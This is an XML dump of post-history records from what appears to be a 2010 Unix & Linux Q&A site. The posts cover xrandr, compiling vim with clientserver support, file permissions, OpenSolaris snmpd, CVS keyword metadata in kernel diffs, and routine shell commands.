  <row Id="5871" PostHistoryTypeId="2" PostId="2808" RevisionGUID="e8160ab7-7a38-489a-8828-19a51cfce144" CreationDate="2010-10-06T12:26:21.143" UserId="2000" Text="I recommend you use &quot;xrandr&quot; command for setting up resolution and multiple displays. Currently xorg.conf is on it's way to death, more and more Linux distributions rely on xrandr and they tend to ignore xorg.conf.&#xD;&#xA;&#xD;&#xA;PS: Just to be clear, this means you use xrander to set up different stuff for your display, but you will still use the same X.org server.&#xD;&#xA;&#xD;&#xA;PPS: Ah ... and you use xrandr on the fly, after you have xorg started and you have a graphical interface. Changes are applied immediately, but they are not saved, so if yo screw up something a restart fixes you problem. After you are finished with your setup, just put all the xrandr commands into a file, make it executable, and add it to your DE's startup. " />
  <row Id="5872" PostHistoryTypeId="2" PostId="2809" RevisionGUID="1b1cb311-a77c-4b90-ba05-bbbc3d8ff92d" CreationDate="2010-10-06T12:33:26.913" UserId="732" Text="You might want to look at [SimPy][1].  I haven't used SimPy in maybe 4 years, but I think it could do what you want.  It may be a bit more basic, not including all the bells and whistles that your Windows software does.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://simpy.sourceforge.net/" />
  <row Id="5873" PostHistoryTypeId="5" PostId="2807" RevisionGUID="05dd40b0-3107-484f-8455-f35803326c50" CreationDate="2010-10-06T13:08:13.030" UserId="2045" Comment="vim version# added" Text="I am trying to compile vim-7.3 will all features enabled. I ran configure with &#xD;&#xA;&#xD;&#xA;    $ ./configure --with-features=huge --enable-gui --enable-cscope&#xD;&#xA;    $ make ; make install&#xD;&#xA;&#xD;&#xA;When I check the version, it shows several features are still not installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Huge version without GUI.  Features&#xD;&#xA;&gt; included (+) or not (-):&#xD;&#xA;&gt; +arabic +autocmd -balloon_eval **-browse** ++builtin_terms +byte_offset +cindent &#xD;&#xA;&gt; **-clientserver -clipboard** +cmdline_compl +cmdline_hist +cmdline_info +comments &#xD;&#xA;&gt; +conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con +diff +digraphs &#xD;&#xA;&gt; -dnd -ebcdic +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path&#xD;&#xA;&gt; **....**&#xD;&#xA;&#xD;&#xA;Now according to [vimdoc](http://vimdoc.sourceforge.net/htmldoc/various.html#+feature-list) &lt;br/&gt;&#xD;&#xA;&gt; N  *+browse*	&#xD;&#xA;&gt; N  *+clientserver*&#xD;&#xA;&#xD;&#xA;It says &#xD;&#xA;&gt; Thus if a feature is marked with &quot;N&quot;, it is included in the normal, big and huge versions of Vim.&#xD;&#xA;&#xD;&#xA;`features.h` also says&#xD;&#xA;&gt; +huge                all possible features enabled.&#xD;&#xA;&#xD;&#xA;According to the above mentioned two resources, `huge` means all features are enabled. Even if not all, then at least `+clientserver` and `+browse` has to be enabled in `huge` compilation mode. &#xD;&#xA;&#xD;&#xA;But my experience says otherwise. Huge compilation fails to include browse and clientserver feature.&#xD;&#xA;&#xD;&#xA;1- Why is it so? Is my understanding of the document is incorrect?&lt;br/&gt;&#xD;&#xA;2- How to enable clientserver feature?&lt;br/&gt;&#xD;&#xA;3- How to enable gui?&lt;br/&gt;&#xD;&#xA;4- Is it possible to enable **all** features simply? I tired huge as `features.h` suggested it will enable all possible features, but it didn't work.&#xD;&#xA;&#xD;&#xA;Thanks for your time." />
  <row Id="5874" PostHistoryTypeId="4" PostId="2807" RevisionGUID="05dd40b0-3107-484f-8455-f35803326c50" CreationDate="2010-10-06T13:08:13.030" UserId="2045" Comment="vim version# added" Text="Why my vim-7.3 compile fails to include clientserver?" />
  <row Id="5875" PostHistoryTypeId="2" PostId="2810" RevisionGUID="b30a7b7c-50d2-43ac-918f-dcfd04d89006" CreationDate="2010-10-06T13:44:31.267" UserId="274" Text="1. There is -strictly speaking- no such thing in UNIX as &quot;conflicting permissions&quot;: access  permissions on an filesystem entry (directory, file, etc.) determine what you can or can not do on that object.  Permissions on other filesystem entries do not enter into the picture, _with the exception of the &quot;x&quot; bit on all ancestors directories in the path_ to a file (up to `/`) -- see 3.&#xD;&#xA;&#xD;&#xA;2. The default permission on a newly created file are determined by the permissions that the creating program allows (the `mode` argument to the `open` or `creat` system calls) and the current process `umask`.  Specifically, any bit that is set (1) in the &quot;umask&quot; is reset (0) in the newly-created file permissions: in C-like notation: `file_permissions = open_mode &amp; ! umask`.  Read `man 2 creat` (look for `O_CREAT`) and `man umask` for the details.&#xD;&#xA;&#xD;&#xA;3. The &quot;x&quot; (executable) bit on a directory controls whether you can _traverse_ that directory: traversing a directory means being able to `cd` into it and access files contained in it.  Note that the ability to list the contents of the directory is controlled by the &quot;r&quot; bit.&#xD;&#xA;&#xD;&#xA;Further reading:&#xD;&#xA;&#xD;&#xA;* http://www.hackinglinuxexposed.com/articles/20030417.html on file permissions&#xD;&#xA;* http://www.hackinglinuxexposed.com/articles/20030424.html on directory permissions&#xD;&#xA;" />
  <row Id="5876" PostHistoryTypeId="2" PostId="2811" RevisionGUID="709e8f6b-1d74-4e53-b13d-7f4e2e1a78b4" CreationDate="2010-10-06T14:01:16.563" UserId="689" Text="A network sensor I'm evaluating is showing that my Opensolaris server is broadcasting on the snmp port 161, and I'm getting alerts about every 2 minutes.  How can I turn off the snmp broadcast (i.e. traps?) on the Opensolaris machine?&#xD;&#xA;&#xD;&#xA;We have snmp enabled on the Opensolaris machine for Cacti, so it should really just be acting like a client in regards to snmp.  Is there a configuration setting somewhere?  I'm not familiar with snmp, but somehow got it up and running for Cacti.  I see that /usr/sbin/snmpd is running.  Any thoughts?  Thanks." />
  <row Id="5877" PostHistoryTypeId="1" PostId="2811" RevisionGUID="709e8f6b-1d74-4e53-b13d-7f4e2e1a78b4" CreationDate="2010-10-06T14:01:16.563" UserId="689" Text="Opensolaris snmp broadcast" />
  <row Id="5878" PostHistoryTypeId="3" PostId="2811" RevisionGUID="709e8f6b-1d74-4e53-b13d-7f4e2e1a78b4" CreationDate="2010-10-06T14:01:16.563" UserId="689" Text="éopensolarisà" />
  <row Id="5879" PostHistoryTypeId="2" PostId="2812" RevisionGUID="a5dd5707-3ddd-47d6-8aa4-193a6674cbd0" CreationDate="2010-10-06T14:24:31.400" UserId="2180" Text="I'm comparing two different kernel versions (one official, one from a manufacturer); there are thousands of file whose only difference is in metadata in the files.&#xD;&#xA;The metadata looks like '$:Key: value$'. Is there a set of tools that modify this stuff? What generates this data?&#xD;&#xA;&#xD;&#xA;An example:&#xD;&#xA;&#xD;&#xA;        --- ./drivers/atm/idt77252.h  2010-10-05 14:53:01.787778390 -0400&#xD;&#xA;    +++ ../linux-2.6.21.x/drivers/atm/idt77252.h 2010-03-26 03:08:26.000000000 -0400&#xD;&#xA;    @@ -1,8 +1,8 @@&#xD;&#xA;     /*******************************************************************&#xD;&#xA;    - * ident &quot;$Id: idt77252.h,v 1.2 2001/11/11 08:13:54 ecd Exp $&quot;&#xD;&#xA;    + * ident &quot;$Id: idt77252.h,v 1.1.1.1 2007-05-25 06:50:05 bruce Exp $&quot;&#xD;&#xA;      *&#xD;&#xA;    - * $Author: ecd $&#xD;&#xA;    - * $Date: 2001/11/11 08:13:54 $&#xD;&#xA;    + * $Author: bruce $&#xD;&#xA;    + * $Date: 2007-05-25 06:50:05 $&#xD;&#xA;      *&#xD;&#xA;      * Copyright (c) 2000 ATecoM GmbH&#xD;&#xA;      *&#xD;&#xA;    " />
  <row Id="5880" PostHistoryTypeId="1" PostId="2812" RevisionGUID="a5dd5707-3ddd-47d6-8aa4-193a6674cbd0" CreationDate="2010-10-06T14:24:31.400" UserId="2180" Text="What's up with the metadata in the source? Are there tools for it?" />
  <row Id="5881" PostHistoryTypeId="3" PostId="2812" RevisionGUID="a5dd5707-3ddd-47d6-8aa4-193a6674cbd0" CreationDate="2010-10-06T14:24:31.400" UserId="2180" Text="ékernelàésourceà" />
  <row Id="5882" PostHistoryTypeId="2" PostId="2813" RevisionGUID="d4710999-340e-4eef-9a74-fc42115e71d6" CreationDate="2010-10-06T14:31:43.160" UserId="33" Text="CVS (a Versioning System) is able to replace certain &quot;Placeholders&quot; with their values upon checkout (so you have for example the version of the checkout or the author in the file)." />
  <row Id="5883" PostHistoryTypeId="5" PostId="2812" RevisionGUID="7731de03-d6d3-4d54-b71e-eb161b36c5b0" CreationDate="2010-10-06T14:36:32.597" UserId="2180" Comment="added 103 characters in body" Text="I'm comparing two different kernel versions (one official, one from a manufacturer); there are thousands of file whose only difference is in metadata in the files.&#xD;&#xA;The metadata looks like '$:Key: value$'. Is there a set of tools that modify this stuff? What generates this data? Is there any way to do a diff without this polluting it without running the entire source through sed?&#xD;&#xA;&#xD;&#xA;An example:&#xD;&#xA;&#xD;&#xA;        --- ./drivers/atm/idt77252.h  2010-10-05 14:53:01.787778390 -0400&#xD;&#xA;    +++ ../linux-2.6.21.x/drivers/atm/idt77252.h 2010-03-26 03:08:26.000000000 -0400&#xD;&#xA;    @@ -1,8 +1,8 @@&#xD;&#xA;     /*******************************************************************&#xD;&#xA;    - * ident &quot;$Id: idt77252.h,v 1.2 2001/11/11 08:13:54 ecd Exp $&quot;&#xD;&#xA;    + * ident &quot;$Id: idt77252.h,v 1.1.1.1 2007-05-25 06:50:05 bruce Exp $&quot;&#xD;&#xA;      *&#xD;&#xA;    - * $Author: ecd $&#xD;&#xA;    - * $Date: 2001/11/11 08:13:54 $&#xD;&#xA;    + * $Author: bruce $&#xD;&#xA;    + * $Date: 2007-05-25 06:50:05 $&#xD;&#xA;      *&#xD;&#xA;      * Copyright (c) 2000 ATecoM GmbH&#xD;&#xA;      *&#xD;&#xA;    " />
  <row Id="5884" PostHistoryTypeId="2" PostId="2814" RevisionGUID="1f66c684-b7e4-4346-91a7-7f8da75d688a" CreationDate="2010-10-06T15:22:53.407" UserId="274" Text="As Tante says, those `$Word: ...$` are inserted and updated by some version control systems (CVS and SubVersion, notably).&#xD;&#xA;&#xD;&#xA;GNU `diff` has an option `--ignore-lines-matching-re` that can exclude lines that match a certain regular expression.  This one should tdo the trick:&#xD;&#xA;&#xD;&#xA;    diff -wu --ignore-matching-lines='\$[A-Z][a-z]*:.*\$' -r sourceA/ sourceB/&#xD;&#xA;&#xD;&#xA;(Note the `\` before `$` to prevent it being interpreted as an end-of-line marker in the regexp.)&#xD;&#xA;" />
  <row Id="5885" PostHistoryTypeId="2" PostId="2815" RevisionGUID="37100c27-8b06-40a4-b8dd-84075206e2e9" CreationDate="2010-10-06T16:40:18.367" UserId="2169" Text="You need to look at the output of ./configure and at config.log" />
  <row Id="5886" PostHistoryTypeId="2" PostId="2816" RevisionGUID="4d37e62d-166a-4dbd-a623-3069f29277f0" CreationDate="2010-10-06T16:40:43.137" UserId="1375" Text="I've got a relative with a four-cour AMD Phenom II 3.0 gHz CPU (can't remember exact specs) and ATI 5750 1GB graphics card, running Ubuntu 10.04.&#xD;&#xA;&#xD;&#xA;Right now I am aware of VLC and Mplayer for playing video files. But when playing 1080p mkv files, etc., the video stutters and lags pretty badly.&#xD;&#xA;&#xD;&#xA;Are these media players taking full advantage of the multi-core CPU and graphics hardware? Is there a software tweak, or just another video player that I could try?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="5887" PostHistoryTypeId="1" PostId="2816" RevisionGUID="4d37e62d-166a-4dbd-a623-3069f29277f0" CreationDate="2010-10-06T16:40:43.137" UserId="1375" Text="Video player that uses multiple CPU/GPU cores in Linux?" />
  <row Id="5888" PostHistoryTypeId="3" PostId="2816" RevisionGUID="4d37e62d-166a-4dbd-a623-3069f29277f0" CreationDate="2010-10-06T16:40:43.137" UserId="1375" Text="évideoàécpuàévlcà" />
  <row Id="5889" PostHistoryTypeId="2" PostId="2817" RevisionGUID="1b4cdd42-c735-458d-ad10-6307de0a923f" CreationDate="2010-10-06T16:51:28.313" UserId="2103" Text="If use the `xrandr` command and set a wrong resolution/freq/..., can a break my display devices?&#xD;&#xA;&#xD;&#xA;For instance, by setting a very high refresh freq that one of the video devices involved (video card, monitor, ...) does not support.&#xD;&#xA;&#xD;&#xA;*Note: I tried to tag this as xrandr but I don't have enough rep. to create tags.*" />
  <row Id="5890" PostHistoryTypeId="1" PostId="2817" RevisionGUID="1b4cdd42-c735-458d-ad10-6307de0a923f" CreationDate="2010-10-06T16:51:28.313" UserId="2103" Text="Can I break display devices with the xrandr command?" />
  <row Id="5891" PostHistoryTypeId="3" PostId="2817" RevisionGUID="1b4cdd42-c735-458d-ad10-6307de0a923f" CreationDate="2010-10-06T16:51:28.313" UserId="2103" Text="éxorgà" />
  <row Id="5892" PostHistoryTypeId="2" PostId="2818" RevisionGUID="dc2f281a-8e3d-419e-b061-6c503ac74d2d" CreationDate="2010-10-06T17:20:33.330" UserId="1941" Text="The test in feature.h is&#xD;&#xA;&#xD;&#xA;    #if (defined(WIN32) || defined(FEAT_XCLIPBOARD)) &amp;&amp; defined(FEAT_EVAL)&#xD;&#xA;    # define FEAT_CLIENTSERVER&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;so you have to make sure that xcliboard is enabled. This is done here:&#xD;&#xA;&#xD;&#xA;    #if defined(FEAT_NORMAL) &amp;&amp; defined(FEAT_VISUAL) \&#xD;&#xA;            &amp;&amp; (defined(UNIX) || defined(VMS)) \&#xD;&#xA;            &amp;&amp; defined(WANT_X11) &amp;&amp; defined(HAVE_X11)&#xD;&#xA;    # define FEAT_XCLIPBOARD&#xD;&#xA;    # ifndef FEAT_CLIPBOARD&#xD;&#xA;    #  define FEAT_CLIPBOARD&#xD;&#xA;    # endif&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;So it looks as if you miss some X11-devel package." />
  <row Id="5893" PostHistoryTypeId="5" PostId="2817" RevisionGUID="8b8e9e9c-a1b9-4917-acec-aa159a83fd66" CreationDate="2010-10-06T17:20:57.847" UserId="1207" Comment="deleted 84 characters in body; edited tags" Text="If use the `xrandr` command and set a wrong resolution/freq/..., can a break my display devices?&#xD;&#xA;&#xD;&#xA;For instance, by setting a very high refresh freq that one of the video devices involved (video card, monitor, ...) does not support.&#xD;&#xA;" />
  <row Id="5894" PostHistoryTypeId="6" PostId="2817" RevisionGUID="8b8e9e9c-a1b9-4917-acec-aa159a83fd66" CreationDate="2010-10-06T17:20:57.847" UserId="1207" Comment="deleted 84 characters in body; edited tags" Text="éxorgàéxrandrà" />
  <row Id="5895" PostHistoryTypeId="2" PostId="2819" RevisionGUID="6d4601ec-5ea7-4169-b31e-7068d1b7766c" CreationDate="2010-10-06T17:31:51.173" UserId="1941" Text="You could try xine. It can use multiple cores for some video types, however as far as I know not for all." />
  <row Id="5896" PostHistoryTypeId="2" PostId="2820" RevisionGUID="bc8d1599-a6f0-4bef-91af-d3d6274e0e38" CreationDate="2010-10-06T17:46:49.427" UserId="1941" Text="In the early 90's there was indeed the danger of breaking CRT displays when setting too high frequency, but I don't think this is still a big problem. Modern CRTs should just refuse to work with unsupported frequencies. Still with any CRT there is some danger, at least this is what [wikipedia][1] says... &#xD;&#xA;&#xD;&#xA;Wrong resolution doesn't do any harm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Refresh_rate" />
  <row Id="5897" PostHistoryTypeId="2" PostId="2821" RevisionGUID="4c8aca9c-a1b0-4750-a338-9b308b83d840" CreationDate="2010-10-06T17:51:39.980" UserId="1941" Text="I would check all services running and try disabling each of them one at a time, starting with the most suspicious. Some googling suggests:&#xD;&#xA;&#xD;&#xA;    /etc/rc3.d/S76snmpdx stop&#xD;&#xA;    /etc/rc3.d/S77dmi stop&#xD;&#xA;&#xD;&#xA;(assuming you are in runlevel 3)" />
  <row Id="5898" PostHistoryTypeId="2" PostId="2822" RevisionGUID="94f1b5c3-9468-4032-b463-b14301dd2aec" CreationDate="2010-10-06T18:17:35.083" UserId="252" Text="According to [this building Vim page](http://vim.wikia.com/wiki/Building_Vim), you'll need these dependencies on Ubuntu&#xD;&#xA;&#xD;&#xA;    sudo apt-get install libncurses5-dev libgnome2-dev libgnomeui-dev \&#xD;&#xA;       libgtk2.0-dev libatk1.0-dev libbonoboui2-dev \&#xD;&#xA;       libcairo2-dev libx11-dev libxpm-dev libxt-dev&#xD;&#xA;&#xD;&#xA;Run `configure` again.&#xD;&#xA;&#xD;&#xA;    ./configure --with-features=huge --enable-gui=gnome2 --enable-cscope&#xD;&#xA;&#xD;&#xA;I've tried and all seemed to be enabled." />
  <row Id="5899" PostHistoryTypeId="2" PostId="2823" RevisionGUID="dbcced12-8c51-4401-820e-cd32e312e9ba" CreationDate="2010-10-06T18:40:50.870" UserId="2184" Text="I have heard that it is good practice to run an executable as a user with completely different privilege set than the owner of the task. In fact I heard that it is best to run it as a different with exactly opposite privilege set. I can understand limiting privileges of run time user. But cant this be achieved by the setuid feature ?" />
  <row Id="5900" PostHistoryTypeId="1" PostId="2823" RevisionGUID="dbcced12-8c51-4401-820e-cd32e312e9ba" CreationDate="2010-10-06T18:40:50.870" UserId="2184" Text="Unix executable file permission vs runtime user's permissions" />
  <row Id="5901" PostHistoryTypeId="3" PostId="2823" RevisionGUID="dbcced12-8c51-4401-820e-cd32e312e9ba" CreationDate="2010-10-06T18:40:50.870" UserId="2184" Text="éunixàéchmodàésetuidà" />
  <row Id="5902" PostHistoryTypeId="2" PostId="2824" RevisionGUID="8cca4410-d538-4b33-a0e8-a2c0798d20d4" CreationDate="2010-10-06T18:48:23.467" UserDisplayName="boardstretcher" Text="See command output updated every n seconds&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    watch -n 60 df -h (displays df -h every 60 seconds)&#xD;&#xA;&#xD;&#xA;Show statistics about network device wlan0&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip -s link ls wlan0&#xD;&#xA;&#xD;&#xA;Show routing table for device eth1&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip route ls dev eth1&#xD;&#xA;&#xD;&#xA;Display statistics for all routers packet travels through to reach HOST&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    mtr --interval 5 HOSTNAME&#xD;&#xA;&#xD;&#xA;Consult reverse DNS records for host names on NETWORK&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    nmap -sL NETWORK&#xD;&#xA;&#xD;&#xA;Benchmark a website&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ab&#xD;&#xA;&#xD;&#xA;Get all links from a web page&#xD;&#xA;&#xD;&#xA; lynx -dump http://www.yahoo.com | awk '/http/{print $2}'&#xD;&#xA;&#xD;&#xA;Show default gateway&#xD;&#xA;&#xD;&#xA; netstat -rn | awk '/UG/{print $2}'&#xD;&#xA;&#xD;&#xA;Write standard error to a file&#xD;&#xA;&#xD;&#xA; foo 2&gt; errors.txt&#xD;&#xA;&#xD;&#xA;Redirect stderr to stdout&#xD;&#xA;&#xD;&#xA; foo 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Redirect both stderr and stdout to the same file.&#xD;&#xA; foo &gt; file.`txt 2`&gt;&amp;1" />
  <row Id="5903" PostHistoryTypeId="16" PostId="2824" RevisionGUID="8cca4410-d538-4b33-a0e8-a2c0798d20d4" CreationDate="2010-10-06T18:48:23.467" UserId="-1" />
  <row Id="5904" PostHistoryTypeId="6" PostId="2812" RevisionGUID="bfee91dc-0691-40a3-821e-08bfe180232c" CreationDate="2010-10-06T18:58:43.247" UserId="885" Comment="edited tags" Text="élinuxàékernelàésourceà" />
  <row Id="5905" PostHistoryTypeId="5" PostId="2814" RevisionGUID="56f60044-3cf6-44a7-82eb-a35dc22617b7" CreationDate="2010-10-06T19:22:16.137" UserId="274" Comment="fixed typo" Text="As Tante says, those `$Word: ...$` are inserted and updated by some version control systems (CVS and SubVersion, tipically).&#xD;&#xA;&#xD;&#xA;GNU `diff` has an option `--ignore-lines-matching-re` that can exclude lines that match a certain regular expression.  This one should do the trick:&#xD;&#xA;&#xD;&#xA;    diff -wu --ignore-matching-lines='\$[A-Z][a-z]*:.*\$' -r sourceA/ sourceB/&#xD;&#xA;&#xD;&#xA;(Note the `\` before `$` to prevent it being interpreted as an end-of-line marker in the regexp.)&#xD;&#xA;" />
  <row Id="5906" PostHistoryTypeId="2" PostId="2825" RevisionGUID="78149b13-e83d-4830-90a8-63e4eb439ca6" CreationDate="2010-10-06T20:08:29.773" UserId="1941" Text="If I understand you correctly, you have an application which is run by a normal user and whose associated files shall not be writeable by normal users to prevent accidental deletion. For this you do not need setuid. All you need to do is something along the lines of:&#xD;&#xA;&#xD;&#xA;    chown -R root.root /opt/theapp&#xD;&#xA;    chmod -R g-w /opt/theapp&#xD;&#xA;    chmod -R o-w /opt/theapp&#xD;&#xA;    chmod 755 /opt/theapp/bin/theexe&#xD;&#xA;&#xD;&#xA;that means you give ownerships of the files to root, disallow all other users to write and allow every user to read and execute but not to write the executable." />
  <row Id="5907" PostHistoryTypeId="2" PostId="2826" RevisionGUID="6668158c-c4d6-4326-89d0-1215d8f21c5e" CreationDate="2010-10-06T20:19:25.197" UserId="2171" Text="It turns out that trying to run Xdmx from the Mac was the wrong approach.  Instead I ran it from the linux workstation.  The steps to accomplish this are something like the following:&#xD;&#xA;&#xD;&#xA; 1. Install xpra on both systems.&#xD;&#xA; 2. Start xpra on the Linux workstation and attach to it from the MBP (instructions in the above link).&#xD;&#xA; 3. Start one Xephyr window on the workstation:&#xD;&#xA;&#xD;&#xA;    Xephyr :101 &amp;&#xD;&#xA;&#xD;&#xA; 4. Start another on the MBP via Xpra&#xD;&#xA;&#xD;&#xA;    DISPLAY=:13 Xephyr :101 &amp;&#xD;&#xA;&#xD;&#xA; 5. Finally, [start Xdmx as described here][2]&#xD;&#xA;&#xD;&#xA;     Xdmx -configfile xdmx.conf -config clone_config +xinerama -input :100 -input :101 :102&amp;&#xD;&#xA;&#xD;&#xA;At this point, apps started on DISPLAY=:102 will show up on both systems, but its not really usable at this point.  Note that the commands in #3, 4, and 5 are all run on the workstation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/partiwm/source/browse/README.xpra&#xD;&#xA;  [2]: http://intellilinux.info/node/25" />
  <row Id="5908" PostHistoryTypeId="2" PostId="2827" RevisionGUID="1570cd8c-d43e-4cfb-87dc-74ab47d15924" CreationDate="2010-10-06T20:30:01.947" UserId="1327" Text="On my *Amazing **2GB** EeePC Surf*, I have no more space left!&#xD;&#xA;&#xD;&#xA;This is quite normal, and it happens every now and then. Just delete a few large, unneeded files and everything should be good, right?&#xD;&#xA;&#xD;&#xA;So I go and find a **2MB** file in /tmp, and `rm -rf` it. Check free space again, and... still nothing?!&#xD;&#xA;&#xD;&#xA;I had to remove about **30MB** of files before it registered some free space.&#xD;&#xA;&#xD;&#xA;Now, my question is, whats up with this strange behaviour?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5909" PostHistoryTypeId="1" PostId="2827" RevisionGUID="1570cd8c-d43e-4cfb-87dc-74ab47d15924" CreationDate="2010-10-06T20:30:01.947" UserId="1327" Text="What happened to my free space" />
  <row Id="5910" PostHistoryTypeId="3" PostId="2827" RevisionGUID="1570cd8c-d43e-4cfb-87dc-74ab47d15924" CreationDate="2010-10-06T20:30:01.947" UserId="1327" Text="élinuxà" />
  <row Id="5912" PostHistoryTypeId="5" PostId="2378" RevisionGUID="53cee254-ae4f-44a7-b60f-dcbae974415c" CreationDate="2010-10-06T20:48:10.260" UserId="1327" Comment="added 588 characters in body" Text="**[Brace Expansion][1]:**&#xD;&#xA;&#xD;&#xA;&gt; Brace expansion is a mechanism by which arbitrary strings may be generated. &#xD;&#xA;&#xD;&#xA;It allows you to replace tedious lines like: &#xD;&#xA;&#xD;&#xA;    mv loong/and/complex/file/name loong/and/complex/file/name.bacukup&#xD;&#xA;&#xD;&#xA;with a shorter instance&#xD;&#xA;&#xD;&#xA;    mv loong/and/complex/file/name{,backup}&#xD;&#xA;&#xD;&#xA;*some other uses*&#xD;&#xA;&#xD;&#xA;    # to display the diff between /etc/rc.conf and /etc/rc.conf.pacsave&#xD;&#xA;    diff /etc/rc.conf{,.pacsave}&#xD;&#xA;   &#xD;&#xA;    # to list files in both /usr/share and /usr/local/share&#xD;&#xA;    ls /usr/{,local}/share &#xD;&#xA;&#xD;&#xA;**Arithmetic Expansion**:&#xD;&#xA;&#xD;&#xA;&gt; Arithmetic expansion allows the evaluation of an arithmetic &#xD;&#xA;&gt; expression and the substitution of the result. The format for arithmetic&#xD;&#xA;&gt; expansion is:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $((expression))&#xD;&#xA;&gt; &#xD;&#xA;&gt; The expression is treated as if it were within  double  quotes,  but &#xD;&#xA;&gt; a double  quote  inside  the  parentheses  is not treated specially.&#xD;&#xA;&gt; All tokens in the expression undergo parameter expansion, string&#xD;&#xA;&gt; expansion, command substitution, and quote removal.  Arithmetic expansions&#xD;&#xA;&gt; may be nested.&#xD;&#xA;&#xD;&#xA;    $ a=1&#xD;&#xA;    $ b=2&#xD;&#xA;    $ echo $(( a+(b*2) ))&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://snap.nlc.dcccd.edu/reference/bash1/features_11.html" />
  <row Id="5913" PostHistoryTypeId="2" PostId="2829" RevisionGUID="2eff0232-656a-493f-9dbe-330e865a340c" CreationDate="2010-10-06T20:48:56.787" UserId="1571" Text="I have a sony VPCZ12 laptop. It has those dual video cards that are a pain to get working in linux. The new 2.6.35 kernel is supposed to support that with the vga_switcheroo module which is supposed to be located in /sys/kernel/debug on &gt;2.6.35.&#xD;&#xA;&#xD;&#xA;The problem is that when I boot my laptop, it freezes at a blackscreen unless I boot with options `i915.nomodeset=0`. It won't boot into X, but I can get to a terminal which is fine. But then vga_switcheroo isn't in `/sys/kernel/debug`.&#xD;&#xA;&#xD;&#xA;Is this a ubuntu bug on how the kernel is compiled? Or is it because I have to boot with `i915.nomodeset`?&#xD;&#xA;&#xD;&#xA;The livecd boots into X just fine, but I've never found a way to get X working on the installation. There's a lot of information about linux on the z12 but most of it is either outdated, doesn't work, or just plain doesn't make any sense" />
  <row Id="5914" PostHistoryTypeId="1" PostId="2829" RevisionGUID="2eff0232-656a-493f-9dbe-330e865a340c" CreationDate="2010-10-06T20:48:56.787" UserId="1571" Text="vga_switcheroo not in /sys/kernel/debug in 2.6.35-22 (kubuntu maverick)" />
  <row Id="5915" PostHistoryTypeId="3" PostId="2829" RevisionGUID="2eff0232-656a-493f-9dbe-330e865a340c" CreationDate="2010-10-06T20:48:56.787" UserId="1571" Text="ékernelàékernelömodulesà" />
  <row Id="5916" PostHistoryTypeId="2" PostId="2830" RevisionGUID="034b61ff-f473-41a3-8b62-224bf1c25d3d" CreationDate="2010-10-06T21:02:07.310" UserId="1941" Text="To check if vga_switcheroo is enabled in the kernel, have a look into the Ubuntu config of your kernel. You should find it in /boot with a name along the lines of /boot/config-2.6.35-XX-generic with XX some number corresponding to your kernel.&#xD;&#xA;&#xD;&#xA;If it is not enabled, you find a custom kernel with vga_switcheroo enabled at http://www.ramoonus.nl/2010/08/linux-kernel-2-6-35-installation-guide-for-ubuntu-linux/  " />
  <row Id="5917" PostHistoryTypeId="5" PostId="2824" RevisionGUID="dfba961f-fe77-4493-8a47-1c49c0ea83b0" CreationDate="2010-10-06T21:55:55.420" UserId="1327" Comment="added 17 characters in body" Text="See command output updated every n seconds&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    watch -n 60 df -h (displays df -h every 60 seconds)&#xD;&#xA;&#xD;&#xA;Show statistics about network device wlan0&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip -s link ls wlan0&#xD;&#xA;&#xD;&#xA;Show routing table for device eth1&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip route ls dev eth1&#xD;&#xA;&#xD;&#xA;Display statistics for all routers packet travels through to reach HOST&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    mtr --interval 5 HOSTNAME&#xD;&#xA;&#xD;&#xA;Consult reverse DNS records for host names on NETWORK&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    nmap -sL NETWORK&#xD;&#xA;&#xD;&#xA;Benchmark a website&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ab&#xD;&#xA;&#xD;&#xA;Get all links from a web page&#xD;&#xA;&#xD;&#xA;    lynx -dump http://www.yahoo.com | awk '/http/{print $2}'&#xD;&#xA;&#xD;&#xA;Show default gateway&#xD;&#xA;&#xD;&#xA;    netstat -rn | awk '/UG/{print $2}'&#xD;&#xA;&#xD;&#xA;Write standard error to a file&#xD;&#xA;&#xD;&#xA;    foo 2&gt; errors.txt&#xD;&#xA;&#xD;&#xA;Redirect stderr to stdout&#xD;&#xA;&#xD;&#xA;    foo 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Redirect both stderr and stdout to the same file.&#xD;&#xA;&#xD;&#xA;    foo &gt; file.`txt 2`&gt;&amp;1" />
  <row Id="5918" PostHistoryTypeId="2" PostId="2831" RevisionGUID="6986dbc9-7498-46a8-84d5-aec2befff2a1" CreationDate="2010-10-06T22:22:15.623" UserId="885" Text="Do the “Used” and “Available” columns of `df` output add up to the figure in the total column? (The output of `df` reflects the data from the underlying `statvfs` system call, so you'll find the same numbers in any other application.)&#xD;&#xA;&#xD;&#xA;If not (which is probably the case), that's because by default, on an ext2/ext3/ext4 filesystem, 5% of the space is reserved to root. This space is not included in the “Available” column. So if you've filled exactly 95% of the filesystem, the available space is 0.&#xD;&#xA;&#xD;&#xA;You can change the user who gets the 5%, or change the amount (all the way to 0 if you like), with `tune2fs` (options `-g` and -u` to control who gets it, `-m` or `-r` to control how much there is).&#xD;&#xA;" />
